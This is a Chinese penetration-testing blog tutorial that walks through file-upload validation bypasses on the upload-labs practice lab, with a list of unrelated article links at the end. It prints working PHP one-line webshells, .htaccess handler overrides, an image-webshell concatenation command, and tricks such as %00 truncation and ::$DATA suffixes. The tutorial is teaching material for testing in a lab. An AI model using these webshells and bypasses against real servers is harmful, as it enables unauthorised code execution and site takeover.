【网络安全的神秘世界】 文件上传及验证绕过

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

这个漏洞对于初学者好挖,先找到文件上传的位置

文件上传是web网页中常见的功能之一,通常情况下恶意文件的上传,会形成漏洞

漏洞逻辑:用户通过上传点上传了恶意文件,经过服务器的校验后保存到指定位置。当用户访问已经上传成功的文件时,上传的脚本会被web应用程序解析,从而对网站造成危害

文件上传漏洞的关键点:能不能传上去?保存位置在哪?能不能运行?

1、文件上传常见点

上传头像
上传相册
上传附件
添加文章图片
前台留言资料上传
编辑器文件上传
....

例如如下编辑器上传点:

在这里插入图片描述

文件管理处文件上传:

在这里插入图片描述

前台用户发表文章处文件上传:

在这里插入图片描述

个人头像处文件上传:

在这里插入图片描述

2、客户端—JS绕过

# 环境安装
docker pull cuer/upload-labs#启动
docker run -d -p 8081:80 cuer/upload-labs

访问http://ip:8081,选择Pass-01

在这里插入图片描述

  • 解释型语言:脚本语言、php、python – 边解释边执行
  • 编译型语言:java、go – 提前写好代码交给程序运行

所以如果是编译型语言开发出来的网站,没有文件上传漏洞,因为即使上传了脚本语言也不会被执行,不满足文件上传的第三个关键点

2.1 抓包(后缀名绕过)

查看Upload-labs(Pass-01)源码分析,发现防护策略是用js语言写出来的,也就意味着这是一个前端防护策略校验

在这里插入图片描述

把恶意文档后缀名改为白名单所允许的后缀名进行上传

在这里插入图片描述

在这里插入图片描述

开启抓包,把拦截到的包后缀名再改回txt

在这里插入图片描述

上传成功了,复制图像链接去访问一下

在这里插入图片描述

在这里插入图片描述

2.2 禁用js

F12 --> F1,勾选禁用JavaScript

意味着前端页面的所有js代码都失效了

在这里插入图片描述

上传txt文档

在这里插入图片描述

直接就传上来了

2.3 修改前端代码

在这里插入图片描述

删除form标签的onsubmit事件即可成功上传,在实际渗透中,找到对应的js事件删除即可

注意:该方法在Firefox浏览器中生效,但是在Edge、Chrome浏览器中不生效

在这里插入图片描述


脚本文档内容可以为:

1️⃣phpinfo

# 关于网站的信息页面,帮助我们做信息收集
<?php phpinfo();?>

2️⃣php一句话木马

(1)get方法

<?php eval(@$_GET['a']);?>

在这里插入图片描述

(2)post方法

<?php eval(@$_POST['a']);?>

打开火狐浏览器的hackbar插件

在这里插入图片描述

还可以用蚁剑进行连接

在这里插入图片描述

3、服务端黑名单绕过

黑名单:不允许进行上传的文件

在实际渗透中没有源代码,我们只能通过不断测试找到绕过方式

3.1 特殊可解析后缀

Upload-labs(Pass-03)分析源代码:设置了后缀名黑名单

在这里插入图片描述

可以直接上传txt,但是无法使用,因为只有上传一个脚本文件才能让里面的一句话木马生效

解决办法是上传其他脚本文件的后缀名,比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件,想被网站当成Php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码

靶场环境未配置好,仅做上传即可,目前不能使用

AddType application/x-httpd-php .php .phtml .php5 .php5 .pht

3.2 大小写绕过

Upload-labs(Pass-06)源码分析:和上面思路一致,知识定义的黑名单数组内容增多

在这里插入图片描述

但是和第三关相比,少了转换为小写

在这里插入图片描述

直接把上传文件的后缀名改为大写即可绕过

3.3 点绕过

Upload-labs(Pass-08)源码分析:

在这里插入图片描述

和第6关代码相比,少了对点进行处理

在这里插入图片描述

抓包在后缀名后加上.

在这里插入图片描述

复制图像连接后访问,发现解析成功

在这里插入图片描述

window系统中会自动去除文件名最后的.,因此在Windows系统中可以使用此方法绕过

Linux系统虽然不会自动去除文件名最后的.,但是部分Linux系统搭配中间件可以实现解析

3.4 空格绕过

Upload-labs(Pass-07)源码分析:少了删除空格

在这里插入图片描述

抓包,在文件后缀加空格后上传

在这里插入图片描述

同理,window系统中会自动去除文件名最后的 空格

3.5 ::$DATA绕过

在windows中,如果文件名 + ::$DATA 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:

phpinfo.php::$DATA

Upload-labs(Pass-09)源码分析:少了去除字符串::$DATA

在这里插入图片描述

抓包修改文件后缀

在这里插入图片描述

3.6 配合解析绕过

Upload-labs(Pass-10)源码分析:黑名单数组定义的非常完善,同时对后缀名的处理也一个没少

在这里插入图片描述

这一关的思路是它没有进行循环检测,所有检测方式只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为:

.php. .(两个点之间有空格)
.php. ::&DATA

验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功

3.7 .htaccess文件绕过

在利用 .htaccess 文件之前,我们先来了解一下 .htaccess 规则文件

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置.htaccess作用于此目录及其所有子目录

Upload-labs(Pass-4)源码分析:黑名单里没有过滤 .htaccess 文件

在这里插入图片描述

可以重写文件解析规则绕过,上传一个.htaccess,文件内容如下,意思是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错

先准备好两个文件(.htaccess 和 magedu.jpg)

<!-- .htaccess文件 -->
# 把magedu.jpg文件当成php代码解析
<FilesMatch "magedu.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
<!-- .htaccess文件 -->
<IfModule mime_module>
Sethandler application/x-httpd-php
</IfModule>
//magedu.jpg
<?php phpinfo();?>

注意:.htaccess文件不能起名字,就是 .htaccess 文件,如果将其改为1.htaccess或者其他的什么名字是不可以的,无法解析

创建.htaccess文件

在这里插入图片描述

上传到网页,要勾选显示隐藏文件

在这里插入图片描述

在继续上传magedu.jpg文件

在这里插入图片描述

复制图像链接进行访问

在这里插入图片描述

3.8 双写后缀名绕过

Upload-labs(Pass-11)源码分析:

在这里插入图片描述

phpinfo.pphphp

注意:phphpp不行,删除php后只剩hpp了

4、服务端白名单绕过

白名单:允许进行上传的文件

4.1 MIME类型检测绕过

Upload-labs(Pass-2)源码分析:

在这里插入图片描述

上传一个脚本文件,抓包改文件类型

在这里插入图片描述

4.2 00截断绕过

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0为字符串的结尾,所以\0也被称为”字符串结束符“

\0 是Ascii码表中的第0个字符,英文为NULL,中文为”空字符“

需要注意的是:\0是用户的输入经过层层解析后到达系统底层的表现形式,因此用户在前端输入的时候是不能直接使用\0的,通常会使用%00或0x00

%00:在URL中%00表示ASCII码为0的字符,表示字符串的结束0x00:按16进制读取内容,遇到ASCII为0的字符就会停止0x00是%00解码成的16进制形式,记住就行,无需关注具体转换过程

截断原理:

# 分析1.php%00.jpg帮助攻击者绕过前后端的检测:前端检测时认为是jpg类型,保存时.jpg被截断了所以是php类型

注意:

%00用在路径上,而不是文件名上!

不然无法解析

截断条件:

1、php版本 < 5.3.4

php -v

2、php.ini的magic_quotes_gpc为off状态

> 5.3.4版本版本实验过程

Upload-labs(Pass-12)源码分析:

在这里插入图片描述

上传info.png文件抓包修改http请求

在这里插入图片描述

修改后info.png会拼接在%00后从而帮助我们绕过

在这里插入图片描述

但是还是上传出错了,那是因为这个靶场的php版本过高

在这里插入图片描述

在这里插入图片描述

这个靶场是作者定义好的,我们没有办法改变,不过可以自己搭建靶场

环境:windows操作系统 + phpstudy2018# phpsudy:帮助我们快速搭建网站所需要的原环境、数据库环境等

Windows版phpstudy下载

一定要选择2018版本

在这里插入图片描述

安装好后,打开选择小于5.3.4版本的

在这里插入图片描述

把upload源码放在网站根目录下面

upload源码百度网盘

在这里插入图片描述

打开php的配置文件

在这里插入图片描述

查找关键字magic_quotes_gpc,修改值为off,ctrl+s保存后需要点击一下【重启】

在这里插入图片描述

在upload-labs目录下新建upload文件夹

在这里插入图片描述

直接访问本地ip下的upload-labs即可(因为文件是上传到这个文件夹下的,没有的话就手动添加)

在这里插入图片描述

< 5.3.4版本实验过程

Upload-labs(Pass-11)源码分析:get方法

get方法使用%00写在url中,网站会自动解码

在这里插入图片描述

抓包修改请求url

在这里插入图片描述

上传成功后,复制图像连接访问

在这里插入图片描述

删除后面的随机数,因为在后端存储过程中后面的随机数被截断了

在这里插入图片描述

Upload-labs(Pass-12)源码分析:用的post方法

post方法%00写在请求正文中,不会做自动解码,需要手动解码

在这里插入图片描述

抓包修改请求正文,并对%00进行解码

在这里插入图片描述

解码后会生成一个空格

在这里插入图片描述

回到网页发现上传成功了

在这里插入图片描述

5、服务端内容检查绕过

010 editor - 百度网盘

图片马:在图片中写入一句话木马且不破坏图片的格式,使其能够正常打开

5.1 文件头检查

注意:下面是16进制的文件头格式

.jpg	FF D8 FF E0 00 10 4A 46 49 46
.gif    47 49 46 38 39 61
.png    89 50 4E 47
.zip    50 4B 03 04 

windows下16进制工具:

文件真实的内容,不会因为后缀名的改变而改变。所以网站依据文件的内容进行检测更安全

在这里插入图片描述

压缩包格式:

文件头50 4B 03 04 文件内容50 4B 01 02 文件结尾50 4B 05 06

在这里插入图片描述

图片马制作的三种方式:

1️⃣windows系统自带的文件拼接功能

copy /b dog.png  + post.php dog2.png

post.php里面内容是一句话木马

在这里插入图片描述

在当前目录下打开命令行

在这里插入图片描述

通过010 Editor工具打开dog2.png,发现存在一句话木马

在这里插入图片描述

2️⃣取一个真实的图片,直接010 Editor在图片内容的尾部写入一句话木马

在这里插入图片描述

3️⃣取一个真实的脚本文件,直接010 Editor在脚本文件的头部写图片的文件码(严格意义上不算图片马)

打开脚本文件

在这里插入图片描述

剪切脚本文件里的内容

在这里插入图片描述

然后写入图片文件头格式,再粘贴脚本文件内容

在这里插入图片描述

Upload-labs(Pass-14)源码分析:

在这里插入图片描述

上传制作好的图片马dog2.png

在这里插入图片描述

结合靶场里的文件包含漏洞进行利用

网站的根目录有个include.php,就是实现文件包含功能的

在这里插入图片描述

查看include.php文件代码发现可以解析文件

在这里插入图片描述

图片马能执行的关键点在于网站有没有没见包含漏洞,而不是存在index.php

在图片马位置前构造 include.php?file=, 从include中加载刚上传的图片马

在这里插入图片描述

在这里插入图片描述

打开hackerbar插件,然后下滑到图片马的尾部

在这里插入图片描述

在这里插入图片描述

也可以用蚁剑进行连接

在这里插入图片描述

5.2 突破getimagesize及exif_imagetype

Upload-labs(Pass-15)源码分析:是用getimagesize获取文件类型,进行文件判断。此函数是获取文件类型是不是图片格式的,比如图片的长度和高度等。这个时候就不能再上传假图片了,

在这里插入图片描述

需要上传一张真图然后抓包,在最后添加一句话木马,也可以上传图片马

在这里插入图片描述

Upload-labs(Pass-16)源码分析:exif_imagetype读取一个图像的第一个字节并检查其签名

在这里插入图片描述

也是通过图片马绕过

5.3 二次渲染绕过

二次渲染:根据用户上传的图片,新生成一个图片,原始图片被删除,而新图片添加到数据库
# 比如一些网站根据用户上传的头像生成大中小不同尺寸的图像

Upload-labs(Pass-17)源码分析:这关比较综合

在这里插入图片描述

上传png图片,把新生成的图片下载下来进行保存

在这里插入图片描述

拿到010 editor与原始图片相比较

在这里插入图片描述

标注了红色底色的部分表示图片发生了渲染的部分

在这里插入图片描述

仿照上述步骤取 gif 经渲染后的图片和原图进行比较,这里就不做演示了

发现 gif 被渲染部分较少,推荐使用 gif 进行绕过

在这里插入图片描述

在 gif 没被渲染的地方,插入一句话木马,打开动图看看能否正常播放(具体插在哪个位置只能通过不断的尝试,如果图片有损坏,即使上传成功,也无法被执行)

在这里插入图片描述

上传到靶场,复制链接后访问

在这里插入图片描述

5.4 文件包含绕过

**前提:**校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马

绕过方式

1️⃣先上传一个有木马的txt文件,因为后缀名的原因没有进行校验内容

2️⃣然后再上传一个php文件,文件内容不具备攻击特征,如下:

<?php Include("上传的txt文件路径");?>

此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举其他语言的语法:

# ASP
<!-- include file="上传的txt文件路径" --># jsp
<jsp:include page="上传的txt文件路径"/>  or  <%@include file="上传的txt文件路径"%>

6、代码逻辑(条件竞争)

7、总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/49686.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【数据结构初阶】一篇文章带你超深度理解【单链表】

hi &#xff01; 目录 前言&#xff1a; 1、链表的概念和结构 2、单链表&#xff08;Single List&#xff0c;简写SList&#xff09;的实现 2.1 定义链表&#xff08;结点&#xff09;的结构 2.2 创建一个链表 2.3 打印链表 2.4 尾插 2.5 头插 2.6 尾删 2.7 头…

python中argparse模块及action=‘store_true‘详解

1. 指定action时 通俗讲&#xff0c;action的作用就是在命令行中指定参数名称时&#xff0c;参数的取值。 如&#xff1a; parser.add_argument(--save-file, actionstore_true, defaultFalse, help是否保存文件) 给参数设置action之后&#xff0c;命令执行时&#xff0c;…

【BUG】已解决:You are using pip version 10.0.1, however version 21.3.1 is available.

You are using pip version 10.0.1, however version 21.3.1 is available. 目录 You are using pip version 10.0.1, however version 21.3.1 is available. 【常见模块错误】 【解决方案】 欢迎来到英杰社区https://bbs.csdn.net/topics/617804998 欢迎来到我的主页&#…

数据结构初阶(C语言)-二叉树

一&#xff0c;树的概念与结构 树是⼀种非线性的数据结构&#xff0c;它是由 n&#xff08;n>0&#xff09; 个有限结点组成⼀个具有层次关系的集合。把它叫做树是因为它看起来像⼀棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的。 1.有⼀个特殊的结点&a…

【Linux学习 | 第1篇】Linux介绍+安装

文章目录 Linux1. Linux简介1.1 不同操作系统1.2 Linux系统版本 2. Linux安装2.1 安装方式2.2 网卡设置2.3 安装SSH连接工具2.4 Linux和Windows目录结构对比 Linux 1. Linux简介 1.1 不同操作系统 桌面操作系统 Windows (用户数量最多)MacOS ( 操作体验好&#xff0c;办公人…

昇思25天学习打卡营第22天|基于MindNLP+MusicGen生成自己的个性化音乐

文章目录 昇思MindSpore应用实践1、MusicGen模型简介残差矢量量化&#xff08;RVQ&#xff09;SoundStreamEncodec 2、生成音乐无提示生成文本提示生成音频提示生成 Reference 昇思MindSpore应用实践 本系列文章主要用于记录昇思25天学习打卡营的学习心得。 1、MusicGen模型简…

python使用 tkinter 生成随机颜色

先看效果: 只要不停点击底部的按钮&#xff0c;每次都会生成新的颜色。炫酷啊。 import random import tkinter import tkinter.messagebox from tkinter import Button# todo """ 1. 设置一个按钮&#xff0c;来让用户选择是否显示颜色值 2. 把按钮换成 Label…

谷粒商城实战笔记-错误记录-启动失败

文章目录 一&#xff0c;lombok报错二&#xff0c;Output directory is not specified 一&#xff0c;lombok报错 java: You arent using a compiler supported by lombok, so lombok will not work and has been disabled. Your processor is: com.sun.proxy.$Proxy8 Lombok …

初试Ollama本地大模型

准备工作 机器配置&#xff1a; CPUi5-10400内存16GB硬盘SSD 480GB显卡GTX 1660 系统&#xff1a;Ubuntu 18.04 Server NVIDIA驱动安装 - 下载 驱动下载地址&#xff1a;https://www.nvidia.cn/geforce/drivers/ - 获取下载链接 GTX 1660驱动下载链接&#xff1a;https://…

怎么理解FPGA的查找表与CPLD的乘积项

怎么理解 fpga的查找表 与cpld的乘积项 FPGA&#xff08;现场可编程门阵列&#xff09;和CPLD&#xff08;复杂可编程逻辑器件&#xff09;是两种常见的数字逻辑器件&#xff0c;它们在内部架构和工作原理上有着一些显著的区别。理解FPGA的查找表&#xff08;LUT&#xff0c;L…

在 Android 上实现语音命令识别:详细指南

在 Android 上实现语音命令识别:详细指南 语音命令识别在现代 Android 应用中变得越来越普遍。它允许用户通过自然语言与设备进行交互,从而提升用户体验。本文将详细介绍如何在 Android 上实现语音命令识别,包括基本实现、带有占位槽位的命令处理,以及相关的配置和调试步骤…

力扣SQL50 指定日期的产品价格 双重子查询 coalesce

Problem: 1164. 指定日期的产品价格 coalesce 的使用 简洁版 &#x1f468;‍&#x1f3eb; 参考题解 select distinct p1.product_id,coalesce((select p2.new_pricefrom Products p2where p2.product_id p1.product_id and p2.change_date < 2019-08-16order by p2.…

黑马JavaWeb企业级开发(知识清单)03——HTML实现正文:排版(音视频、换行、段落)、布局标签(div、span)、盒子模型

文章目录 前言一、正文排版1. 视频标签: < video >2. 音频标签: < audio >3. 换行标签: < br >4. 段落标签 < p >5. vscode实现 二、布局1. 盒子模型2. 布局标签< div >和< span >3. VScode实现 三、源代码和运行结果总结 前言 本篇文章是…

uniapp bug解决:uniapp文件查找失败:‘uview-ui‘ at main.js:14

文章目录 报错内容解决方法main.js 文件中 uView 主 JS 库引入 uView 的全局 SCSS 主题文件内容修改引入 uView 基础样式内容修改配置 easycom 内容修改 报错内容 10:50:51.795 文件查找失败&#xff1a;uview-ui at main.js:14 10:59:39.570 正在差量编译... 10:59:43.213 文…

git的一些使用技巧(git fetch 和 git pull的区别,git merge 和 git rebase的区别)

最近闲来无聊&#xff0c;虽然会使用git操作&#xff0c;但是 git fetch 和 git pull 的区别&#xff0c;git merge 和 git rebase的区别只是一知半解&#xff0c;稍微研究一下&#xff1b; git fetch 和 git pull 的区别 git fetch git fetch 是将远程仓库中的改动拉到本地…

ARM架构(三)——AMBA和总线②

本文参考 ARM文档“Introduction to AMBA AXI4 - Arm Developer” 手册可以在ARM官方文档中下载ARM.con&#xff0c;也可以访问我的百度网盘资源 提取码&#xff1a;1234 目录 1. AXI协议概述1.1 多主系统中的AXI1.2 AXI通道1.3 AXI的主要特点 2. 通道传输和事务&#xff08; …

基础IO(重定向与缓冲区)

一、重定向 1、stat() 与 read() 函数 &#xff08;1&#xff09;stat() 函数 path&#xff1a;文件路径 buf&#xff1a;输出型参数&#xff0c;用于返回文件的各种属性。 函数成功返回 0 &#xff0c;失败返回 -1 &#xff08;2&#xff09;read() 函数 fd&#xff1a;文…

使用minio cllient(mc)完成不同服务器的minio的数据迁移和mc基本操作

minio client 前言使用1.拉取minio client 镜像2.部署mc容器3.添加云存储服务器4.迁移数据1.全量迁移2.只迁移某个桶3.覆盖重名文件 5.其他操作1.列出所有alias、列出列出桶中的文件和目录1.1.列出所有alias1.2.列出桶中的文件和目录 2.创建桶、删除桶2.1.创建桶2.2.删除桶 3.删…

Android APK混淆处理方案分析

这里写目录标题 一、前言1.1 相关工具二、Apk 分析2.1 apk 解压文件2.2 apk 签名信息2.3 apk AndroidManifest.xml2.4 apk code三、Apk 处理3.1 添加垃圾文件3.2 AndroidManifest.xml 处理3.3 dex 混淆处理3.4 zipalign对齐3.5 apk 重新签名3.6 apk 安装测试四、总结一、前言 提…

顺序表和单链表的经典算法题

目录 前言 一、基础思想&#xff08;数组&#xff09; 1. 移除元素 2.删除有序元素的重复项 3.合并两个有序数组 二、单链表算法 1.移除链表元素 2.翻转链表 3.合并两个有序的链表 前言 Hello,小伙伴们&#xff0c;今天我们来做一个往期知识的回顾&#xff0c;今天我将…